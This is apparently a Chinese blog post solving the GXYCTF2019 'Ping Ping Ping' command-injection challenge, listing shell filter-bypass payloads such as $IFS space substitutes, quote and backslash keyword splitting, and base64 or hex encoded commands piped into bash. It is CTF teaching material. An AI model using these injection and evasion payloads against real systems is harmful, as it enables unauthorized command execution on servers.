[GXYCTF2019]Ping Ping Ping

知识点

RCE

审题

不审了吧 很明显的rce 主要记一下一些常用的绕过方式

解题

首先如果抓不到flag可以先抓一下index 得到他的那些过滤
[GXYCTF2019]Ping Ping Ping
知道过滤之后就开始日题

常用的一些绕过

绕过空格
    $IFS
    ${IFS}
    $IFS$9
    <
    <>
    {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
    %20   (space)
    %09   (tab)
    X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
绕过flag(绕过关键字)
    ca\t fla\g.php        反斜线绕过
    cat fl''ag.php        两个单引号绕过
    echo "Y2F0IGZsYWcucGhw" | base64 -d | bash       base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数
    echo "63617420666c61672e706870" | xxd -r -p | bash       hex编码绕过(引号可以去掉)
    echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh    sh的效果和bash一样
    cat fl[a]g.php       用[]匹配
    cat fla*       用*匹配任意
    a=fl;b=ag;cat $a$b          变量替换
    a=g;cat fla$a
    cp fla{g.php,G}    把flag.php复制为flaG
    ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

EOF

上一篇:matlab练习程序(IFS分形)


下一篇:shell编程:for循环